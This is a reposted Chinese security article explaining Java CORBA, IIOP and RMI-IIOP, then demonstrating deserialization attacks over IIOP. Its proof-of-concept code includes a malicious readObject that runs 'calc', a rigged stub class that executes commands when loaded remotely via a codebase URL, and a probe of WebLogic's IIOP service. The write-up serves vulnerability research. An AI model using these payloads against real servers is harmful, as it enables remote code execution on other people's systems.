我的编程空间,编程开发者的网络收藏夹
学习永远不晚

如何理解Java 中的RMI-IIOP

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

如何理解Java 中的RMI-IIOP

本篇文章为大家展示了如何理解Java 中的RMI-IIOP,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

环境说明

  • 文中的测试代码放到了github上

  • 测试代码的JDK版本在文中会具体说明,有的代码会被重复使用,对应的JDK版本需要自己切换

RMI-IIOP

在阅读下面内容之前,可以先阅读下以下几个链接的内容,包含了一些基本的概念留个印象: https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html[3]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html[4]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738[5]

Java IDL是一种用于分布式对象的技术,即对象在网络上的不同平台上进行交互。Java IDL使对象能够进行交互,而不管它们是以Java编程语言还是C,C ++,COBOL或其他语言编写的。这是可能的,因为Java IDL基于通用对象请求代理体系结构(CORBA),即行业标准的分布式对象模型。CORBA的主要功能是IDL,一种与语言无关的接口定义语言。每种支持CORBA的语言都有自己的IDL映射-顾名思义,Java IDL支持Java映射。为了支持单独程序中对象之间的交互,Java IDL提供了一个对象请求代理或ORB(Object Request Broker)。ORB是一个类库,可在Java IDL应用程序与其他符合CORBA的应用程序之间进行低层级的通信。

CORBA,Common ObjectRequest Broker Architecture(公共对象请求代理体系结构),是由OMG组织制订的一种标准的面向对象应用程序体系规范。CORBA使用接口定义语言(IDL),用于指定对象提供给外部的接口。然后,CORBA指定从IDL到特定实现语言(如Java)的映射。CORBA规范规定应有一个对象请求代理(ORB),通过该对象应用程序与其他对象进行交互。通用InterORB协议(GIOP)摘要协议的创建是为了允许ORB间的通信,并提供了几种具体的协议,包括Internet InterORB协议(IIOP),它是GIOP的实现,可用于Internet,并提供GIOP消息和TCP/IP层之间的映射。

IIOP,Internet Inter-ORB Protocol(互联网内部对象请求代理协议),它是一个用于CORBA 2.0及兼容平台上的协议;用来在CORBA对象请求代理之间交流的协议。Java中使得程序可以和其他语言的CORBA实现互操作性的协议。

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL)。

CORBA-IIOP远程调用

在CORBA客户端和服务器之间进行远程调用模型如下:

如何理解Java 中的RMI-IIOP

在客户端,应用程序包含远程对象的引用,对象引用具有存根方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。

在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。

在ORB之间,通信通过共享协议IIOP进行。基于标准TCP/IP Internet协议的IIOP定义了兼容CORBA的ORB如何来回传递信息。

编写一个Java CORBA IIOP远程调用步骤:

  1. 使用idl定义远程接口

  2. 使用idlj编译idl,将idl映射为Java,它将生成接口的Java版本类以及存根和骨架的类代码文件,这些文件使应用程序可以挂接到ORB。在远程调用的客户端与服务端编写代码中会使用到这些类文件。

  3. 编写服务端代码

  4. 编写客户端代码

  5. 依次启动命名服务->服务端->客户端

好了,用代码感受下(github找到一份现成的代码可以直接用,不过做了一些修改):

2步骤作者已经帮我们生成好了,生成的代码在EchoApp目录

服务端:

//服务端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NameComponent;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;import org.omg.PortableServer.POA;import org.omg.PortableServer.POAHelper;public class Server {    public static void main(String[] args) {        if (args.length == 0) {            args = new String[4];            args[0] = "-ORBInitialPort";            args[1] = "1050";            args[2] = "-ORBInitialHost";            args[3] = "localhost";        }        try {            //创建并初始化ORB            ORB orb = ORB.init(args, null);            //获取根POA的引用并激活POAManager            POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));            rootpoa.the_POAManager().activate();            //创建servant            EchoImpl echoImpl = new EchoImpl();            //获取与servant关联的对象引用            org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl);            Echo echoRef = EchoHelper.narrow(ref);            //为所有CORBA ORB定义字符串"NameService"。当传递该字符串时,ORB返回一个命名上下文对象,该对象是名称服务的对象引用            org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");            NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);            NameComponent path[] = ncRef.to_name("ECHO-SERVER");            ncRef.rebind(path, echoRef);            System.out.println("Server ready and waiting...");            //等待客户端调用            orb.run();        } catch (Exception ex) {            ex.printStackTrace();        }    }}

客户端:

//客户端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;public class Client {    public static void main(String[] args) {        if (args.length == 0) {            args = new String[4];            args[0] = "-ORBInitialPort";            args[1] = "1050";            args[2] = "-ORBInitialHost";            args[3] = "localhost";        }        try {            //创建并初始化ORB            ORB orb = ORB.init(args, null);            org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");            NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);            Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER"));            String hello = href.echoString();            System.out.println(hello);        } catch (Exception ex) {            ex.printStackTrace();        }    }}//使用Jndi查询客户端package com.longofo.corba.example;import com.alibaba.fastjson.JSON;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import javax.naming.*;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class JndiClient {        public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";    public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {        InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");        //列出所有远程对象名        System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));        System.out.println("-----------call remote method--------------");        Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER"));        System.out.println(echoRef.echoString());    }    private static Map listAllEntries(Context initialContext) throws NamingException {        String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";        HashMap<String, Object> map = new HashMap<String, Object>();        System.out.println("> Listing namespace: " + namespace);        NamingEnumeration<NameClassPair> list = initialContext.list(namespace);        while (list.hasMoreElements()) {            NameClassPair next = list.next();            String name = next.getName();            String jndiPath = namespace + name;            HashMap<String, Object> lookup = new HashMap<String, Object>();            try {                System.out.println("> Looking up name: " + jndiPath);                Object tmp = initialContext.lookup(jndiPath);                if (tmp instanceof Context) {                    lookup.put("class", tmp.getClass());                    lookup.put("interfaces", tmp.getClass().getInterfaces());                    Map<String, Object> entries = listAllEntries((Context) tmp);                    for (Map.Entry<String, Object> entry : entries.entrySet()) {                        String key = entry.getKey();                        if (key != null) {                            lookup.put(key, entries.get(key));                            break;                        }                    }                } else {                    lookup.put("class", tmp.getClass());                    lookup.put("interfaces", tmp.getClass().getInterfaces());                }            } catch (Throwable t) {                lookup.put("error msg", t.toString());                Object tmp = initialContext.lookup(jndiPath);                lookup.put("class", tmp.getClass());                lookup.put("interfaces", tmp.getClass().getInterfaces());            }            map.put(name, lookup);        }        return map;    }    private static InitialContext getInitialContext(String url) throws NamingException {        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }}

客户端使用了两种方式,一种是COSNaming查询,另一种是Jndi查询,两种方式都可以,在jdk1.8.0_181测试通过。

首先启动一个命名服务器(可以理解为rmi的registry),使用ordb启动如下,orbd默认自带(如果你有jdk环境的话):

如何理解Java 中的RMI-IIOP

然后启动服务端corba-iiop/class="lazy" data-src/main/java/com/longofo/example/Server.java,在启动corba-iiop/class="lazy" data-src/main/java/com/longofo/example/Client.java或JndiClient.java即可。

这里看下JndiClient的结果:

> Listing namespace: > Looking up name: ECHO-SERVER{    "ECHO-SERVER":{        "interfaces":[],        "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"    }}-----------call remote method--------------Hello World!!!

注意到那个class不是没有获取到原本的EchoImpl类对应的Stub class,而我们之前rmi测试也用过这个list查询,那时候是能查询到远程对象对应的stub类名的。这可能是因为Corba的实现机制的原因,com.sun.corba.se.impl.corba.CORBAObjectImpl是一个通用的Corba对象类,而上面的narrow调用EchoHelper.narrow就是一种将对象变窄的方式转换为Echo Stub对象,然后才能调用echoString方法,并且每一个远程对象的调用都要使用它对应的xxxHelper。

下面是Corba客户端与服务端通信包:

如何理解Java 中的RMI-IIOP

第1、2个包是客户端与ordb通信的包,后面就是客户端与服务端通信的包。可以看到第二个数据包的IOR(Interoperable Object Reference)中包含着服务端的ip、port等信息,意思就是客户端先从ordb获取服务端的信息,然后接着与服务端通信。同时这些数据中也没有平常所说的ac ed 00 05 标志,但是其实反序列化的数据被包装了,在后面的RMI-IIOP中有一个例子会进行说明。

IOR几个关键字段:

  • Type ID:接口类型,也称为存储库ID格式。本质上,存储库ID是接口的唯一标识符。例如上面的IDL:omg.org/CosNaming/NamingContext:1.0

  • IIOP version:描述由ORB实现的IIOP版本

  • Host:标识ORB主机的TCP/IP地址

  • Port:指定ORB在其中侦听客户端请求的TCP/IP端口号

  • Object Key:唯一地标识了被ORB导出的servant

  • Components:包含适用于对象方法的附加信息的序列,例如支持的ORB服务和专有协议支持等

  • Codebase:用于获取stub类的远程位置。通过控制这个属性,攻击者将控制在服务器中解码IOR引用的类,在后面利用中我们能够看到。

只使用Corba进行远程调用很麻烦,要编写IDL文件,然后手动生成对应的类文件,同时还有一些其他限制,然后就有了RMI-IIOP,结合了Corba、RMI的优点。

RMI-IIOP远程调用

编写一个RMI IIOP远程调用步骤:

  1. 定义远程接口类

  2. 编写实现类

  3. 编写服务端

  4. 编写客户端

  5. 编译代码并为服务端与客户端生成对应的使用类

下面直接给出一种恶意利用的demo场景。

服务端:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";    public static void main(String[] args) {        try {            //实例化Hello servant            HelloImpl helloRef = new HelloImpl();            //使用JNDI在命名服务中发布引用            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");            initialContext.rebind("HelloService", helloRef);            System.out.println("Hello Server Ready...");            Thread.currentThread().join();        } catch (Exception ex) {            ex.printStackTrace();        }    }    private static InitialContext getInitialContext(String url) throws NamingException {        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }}

客户端:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.rmi.PortableRemoteObject;import java.util.Hashtable;public class HelloClient {    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";    public static void main(String[] args) {        try {            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");            //从命名服务获取引用            Object objRef = initialContext.lookup("HelloService");            //narrow引用为具体的对象            HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class);            EvilMessage message = new EvilMessage();            message.setMsg("Client call method sayHello...");            hello.sayHello(message);        } catch (Exception ex) {            ex.printStackTrace();        }    }    private static InitialContext getInitialContext(String url) throws NamingException {        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }}

假设在服务端中存在EvilMessage这个能进行恶意利用的类,在客户端中编写同样包名类名相同的类,并继承HelloInterface.sayHello(Message msg)方法中Message类:

package com.longofo.example;import java.io.ObjectInputStream;public class EvilMessage extends Message {    private void readObject(ObjectInputStream s) {        try {            s.defaultReadObject();            Runtime.getRuntime().exec("calc");        } catch (Exception ex) {            ex.printStackTrace();        }    }}

先编译好上面的代码,然后生成服务端与客户端进行远程调用的代理类:

rmic -iiop com.longofo.example.HelloImpl

执行完成后,在下面生成了两个类(Tie用于服务端,Stub用于客户端):

如何理解Java 中的RMI-IIOP

启动一个命名服务器:

orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost

启动服务端rmi-iiop/class="lazy" data-src/main/java/com/longofo/example/HelloServer.java,再启动客户端rmi-iiop/class="lazy" data-src/main/java/com/longofo/example/HelloClient.java即可看到计算器弹出,在JDK 1.8.1_181测试通过。

服务端调用栈如下:

如何理解Java 中的RMI-IIOP

注意那个_HelloImpl_Tie.read_value,这是在19年BlackHat议题"An-Far-Sides-Of-Java-Remote-Protocols"[1]提到的,如果直接看那个pdf中关于RMI-IIOP的内容,可能会一脸懵逼,因为议题中没有上面这些前置信息,有了上面这些信息,再去看那个议题的内容可能会轻松些。通过调用栈我们也能看到,IIOP通信中的某些数据被还原成了CDRInputStream,这是InputStream的子类,而被包装的数据在下面Stub data这里:

如何理解Java 中的RMI-IIOP

最后通过反射调用到了EvilMessage的readObject,看到这里其实就清楚一些了。不过事实可能会有些残酷,不然为什么关于RMI-IIOP的漏洞很少看到,看看下面Weblogic RMI-IIOP来感受下。

Weblogic中的RMI-IIOP

Weblogic默认是开启了iiop协议的,如果是上面这样的话,看通信数据以及上面的调用过程极大可能是不会经过Weblogic的黑名单了。

直接用代码测试吧(利用的Weblogic自带的JDK 1.6.0_29测试):

import com.alibaba.fastjson.JSON;import javax.ejb.RemoveException;import javax.management.j2ee.ManagementHome;import javax.naming.*;import javax.rmi.PortableRemoteObject;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class PayloadIiop {    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";    public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException {        InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001");        System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));        Object objRef = initialContext.lookup("ejb/mgmt/MEJB");        ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class);        managementHome.remove(new Object());//这里只是测试能否成功调用到remove方法,如果能成功调用,Object按照上面RMI-IIOP那种方式恶意利用    }    private static Map listAllEntries(Context initialContext) throws NamingException {        String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";        HashMap<String, Object> map = new HashMap<String, Object>();        System.out.println("> Listing namespace: " + namespace);        NamingEnumeration<NameClassPair> list = initialContext.list(namespace);        while (list.hasMoreElements()) {            NameClassPair next = list.next();            String name = next.getName();            String jndiPath = namespace + name;            HashMap<String, Object> lookup = new HashMap<String, Object>();            try {                System.out.println("> Looking up name: " + jndiPath);                Object tmp = initialContext.lookup(jndiPath);                if (tmp instanceof Context) {                    lookup.put("class", tmp.getClass());                    lookup.put("interfaces", tmp.getClass().getInterfaces());                    Map<String, Object> entries = listAllEntries((Context) tmp);                    for (Map.Entry<String, Object> entry : entries.entrySet()) {                        String key = entry.getKey();                        if (key != null) {                            lookup.put(key, entries.get(key));                            break;                        }                    }                } else {                    lookup.put("class", tmp.getClass());                    lookup.put("interfaces", tmp.getClass().getInterfaces());                }            } catch (Throwable t) {                lookup.put("error msg", t.toString());                Object tmp = initialContext.lookup(jndiPath);                lookup.put("class", tmp.getClass());                lookup.put("interfaces", tmp.getClass().getInterfaces());            }            map.put(name, lookup);        }        return map;    }    private static InitialContext getInitialContext(String url) throws NamingException {        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }}

list查询结果如下:

> Listing namespace: > Looking up name: weblogic> Listing namespace: > Looking up name: ejb> Listing namespace: > Looking up name: mgmt> Listing namespace: > Looking up name: MEJB> Looking up name: javax> Listing namespace: > Looking up name: mejbmejb_jarMejb_EO{    "ejb":{        "mgmt":{            "MEJB":{                "interfaces":[],                "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"            },            "interfaces":["javax.naming.Context"],            "class":"com.sun.jndi.cosnaming.CNCtx"        },        "interfaces":["javax.naming.Context"],        "class":"com.sun.jndi.cosnaming.CNCtx"    },    "javax":{        "error msg":"org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",        "interfaces":["javax.naming.Context"],        "class":"com.sun.jndi.cosnaming.CNCtx"    },    "mejbmejb_jarMejb_EO":{        "interfaces":[],        "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl"    },    "weblogic":{        "error msg":"org.omg.CORBA.NO_PERMISSION:   vmcid: 0x0  minor code: 0  completed: No",        "interfaces":["javax.naming.Context"],        "class":"com.sun.jndi.cosnaming.CNCtx"    }}

这些远程对象的名称和通过默认的rmi://协议查询的结果是一样的,只是class和interfaces不同。

但是到managementHome.remove就报错了,managementHome为null。在上面RMI-IIOP的测试中,客户端要调用远程需要用到客户端的Stub类,去查找了下ejb/mgmt/MEJB对应的实现类weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl,他有一个Stub类为weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub,但是这个Stub类是为默认的RMI JRMP方式生成的,并没有为IIOP调用生成客户端与服务端类,只是绑定了一个名称。

通过一些查找,每一个IIOP远程对象对应的Tie类和Stub类都会有一个特征:

如何理解Java 中的RMI-IIOP

根据这个特征,在Weblogic中确实有很多这种已经为IIOP调用生成的客户端Stub类,例如_MBeanHomeImpl_Stub类,是MBeanHomeImpl客户端的Stub类:

如何理解Java 中的RMI-IIOP

一个很尴尬的事情就是,Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了。

刚才调用失败了,来看下没有成功调用的通信:

如何理解Java 中的RMI-IIOP

在COSNaming查询包之后,服务端返回了type_ip为RMI:javax.management.j2ee.ManagementHome:0000000000000000的标志,

然后下一个包又继续了一个_is_a查询:

如何理解Java 中的RMI-IIOP

下一个包就返回了type_id not match:

如何理解Java 中的RMI-IIOP

可以猜测的是服务端没有生成IIOP对应的服务端与客户端类,然后命名服务器中找不到关于的RMI:javax.management.j2ee.ManagementHome:0000000000000000标记,通过查找也确实没有找到对应的类。

不过上面这种利用方式只是在代码层调用遵守了Corba IIOP的一些规范,规规矩矩的调用,在协议层能不能通过替换、修改等操作进行构造与利用,能力有限,未深入研究IIOP通信过程。

在今年的那个议题RMI-IIOP部分,给出了Websphere一个拦截器类TxServerInterceptor中使用到read_any方法的情况,从这个名字中可以看出是一个拦截器,所以基本上所有请求都会经过这里。这里最终也调用到read_value,就像上面的_HelloImpl_Tie.read_value一样,这里也能进行可以利用,只要目标服务器存在可利用的链,作者也给出了一些Websphere中的利用链。可以看到,不只是在远程调用中会存在恶意利用的地方,在其他地方也可能以另一种方式存在,不过在方法调用链中核心的几个地方依然没有变,CDRInputStreamread_value,可能手动去找这些特征很累甚至可能根本找不到,那么庞大的代码量,不过要是有所有的方法调用链,例如GatgetInspector那种工具,之前初步分析过这个工具。这是后面的打算了,目标是自由的编写自己的控制逻辑。

JNDI中的利用

在JNDI利用中有多种的利用方式,而RMI-IIOP只是默认RMI利用方式(通过JRMP传输)的替代品,在RMI默认利用方式无法利用时,可以考虑用这种方式。但是这种方式依然会受到SecurityManager的限制。

在RMI-IIOP测试代码中,我把client与server放在了一起,客户端与服务端使用的Tie与Stub也放在了一起,可能会感到迷惑。那下面我们就单独把Client拿出来进行测试以及看下远程加载。

服务端代码还是使用RMI-IIOP中的Server,但是加了一个codebase:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer {    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";    public static void main(String[] args) {        try {            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");            //实例化Hello servant            HelloImpl helloRef = new HelloImpl();            //使用JNDI在命名服务中发布引用            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");            initialContext.rebind("HelloService", helloRef);            System.out.println("Hello Server Ready...");            Thread.currentThread().join();        } catch (Exception ex) {            ex.printStackTrace();        }    }    private static InitialContext getInitialContext(String url) throws NamingException {        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }}

Client代码在新建的rmi-iiop-test-client模块,这样模块之间不会受到影响,Client代码如下:

package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RMISecurityManager;import java.util.Hashtable;public class HelloClient {    public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";    public static void main(String[] args) {        try {            System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile());            RMISecurityManager securityManager = new RMISecurityManager();            System.setSecurityManager(securityManager);            InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");            //从命名服务获取引用            initialContext.lookup("HelloService");        } catch (Exception ex) {            ex.printStackTrace();        }    }    private static InitialContext getInitialContext(String url) throws NamingException {        Hashtable env = new Hashtable();        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);        env.put(Context.PROVIDER_URL, url);        return new InitialContext(env);    }}

然后我在remote-class模块增加了一个com.longofo.example._HelloInterface_Stub

package com.longofo.example;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;public class _HelloInterface_Stub {    static {        //这里由于在static代码块中,无法直接抛异常外带数据,不过有其他方式外带数据,可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中        try {            exec("calc");        } catch (Exception e) {            e.printStackTrace();        }    }    public static void exec(String cmd) throws Exception {        String sb = "";        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));        String lineStr;        while ((lineStr = inBr.readLine()) != null)            sb += lineStr + "\n";        inBr.close();        in.close();        throw new Exception(sb);    }}

启动远程类服务remote-class/class="lazy" data-src/main/java/com/longofo/remoteclass/HttpServer.java,再启动rmi-iiop/class="lazy" data-src/main/java/com/longofo/example/HelloServer.java,然后运行客户端rmi-iiop-test-client/class="lazy" data-src/main/java/com/longofo/example/HelloClient.java即可弹出计算器。在JDK 1.8.0_181测试通过。

至于为什么进行了远程调用,在CDRInputStream_1_0.read_object下个断点,然后跟踪就会明白了,最后还是利用了rmi的远程加载功能:

如何理解Java 中的RMI-IIOP

遗憾就是没有成功在Weblogic中利用到RMI-IIOP,在这里写出来提供一些思路,如果大家有关于RMI-IIOP的其他发现与想法也记得分享下。不知道大家有没有关于RMI-IIOP比较好的真实案例。

上述内容就是如何理解Java 中的RMI-IIOP,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注编程网行业资讯频道。

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

如何理解Java 中的RMI-IIOP

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

如何理解Java 中的RMI-IIOP

本篇文章为大家展示了如何理解Java 中的RMI-IIOP,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。环境说明文中的测试代码放到了github上测试代码的JDK版本在文中会具体说明,有的代码会被重
2023-06-05

java中RMI模式怎么理解

小编给大家分享一下java中RMI模式怎么理解,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1、说明是分布式对象的应用,使用RMI技术可以使JVM中的对象调用另一
2023-06-15

java中RMI的原理是什么

这篇文章主要介绍了java中RMI的原理是什么,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。1、说明Client 端有一个被称 Stub 的东西,有时也会被成为存根,它是 R
2023-06-15

如何理解Java中的语法糖

本篇内容介绍了“如何理解Java中的语法糖”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!语法糖在聊之前我们需要先了解一下 语法糖 的概念:语
2023-06-15

如何理解Java中的SPI机制

本篇内容介绍了“如何理解Java中的SPI机制”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!SPI的概念SPI在Java中的全称为Servi
2023-06-15

如何理解Java的String

本篇内容介绍了“如何理解Java的String”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1.String的特性1.1不变性我们常常听人说
2023-06-15

如何深入理解Java中的接口

今天就跟大家聊聊有关如何深入理解Java中的接口,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。一、前言前面我们说了抽象类的概述,我们对抽象类也有个认识和理解了,现在我们学习十分重要的
2023-06-21

如何理解Java中的内存分配

本篇内容主要讲解“如何理解Java中的内存分配”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“如何理解Java中的内存分配”吧!众所周知,JVM是一种抽象的计算机,可以使计算机运行程序。JVM加载
2023-06-15

如何理解java中的集合概念

什么是集合?Java集合类存放在java.util包中,是一个用来存放对象的容器。注意:1.集合只能存放对象。比如你存入一个int型数据66放入集合中,其实它是自动转换成Integer类后存入的,Java中每一种基本数据类型都有对应的引用类型。2.集合存放的都
如何理解java中的集合概念
2017-08-04

如何理解Java中的lambda表达式

这篇文章主要介绍了如何理解Java中的lambda表达式的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇如何理解Java中的lambda表达式文章都会有所收获,下面我们一起来看看吧。Lambda概述Lambda表
2023-06-30

如何理解java中进程的概念

进程的概念进程是操作系统结构的基础;是一个正在执行的程序;计算机中正在运行的程序实例;可以分配给处理器并由处理器执行的一个实体;由单一顺序的执行显示,一个当前状态和一组相关的系统资源所描述的活动单元。 一、进程是一个实体每一个进程都有它自己的地址空间,一般情况
如何理解java中进程的概念
2021-05-21

如何正确的理解Java中的继承

本篇文章为大家展示了如何正确的理解Java中的继承,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。Java作为一面向对象的语言,具备面向对象的三大特征——继承,多态,封装。继承顾名思义,继任,承接,传
2023-05-31

java中main函数如何理解

本篇文章给大家分享的是有关java中main函数如何理解,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。前言前段时间看到一道面试题:“main函数可以被重载么?”,当时就蒙圈了,
2023-06-26

如何理解java中的分布式系统

要理解分布式系统,主要需要明白一下2个方面:1、分布式系统一定是由多个节点组成的系统。其中,节点指的是计算机服务器,而且这些节点一般不是孤立的,而是互通的。2、这些连通的节点上部署了我们的节点,并且相互的操作会有协同。分布式系统对于用户而言,他们面对的就是一个
如何理解java中的分布式系统
2015-12-03

Java Hibernate中的连接池该如何理解

本篇文章为大家展示了Java Hibernate中的连接池该如何理解,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。Hibernate支持第三方的连接池,官方推荐的连接池是C3P0,Proxool,以
2023-06-17

如何理解Java 8中时间API

本篇文章为大家展示了如何理解Java 8中时间API,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。留意到其中Java 8预览版中将会出现新的关于日期和时间的API(遵守JSR 310规范)。对这些新
2023-06-17

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
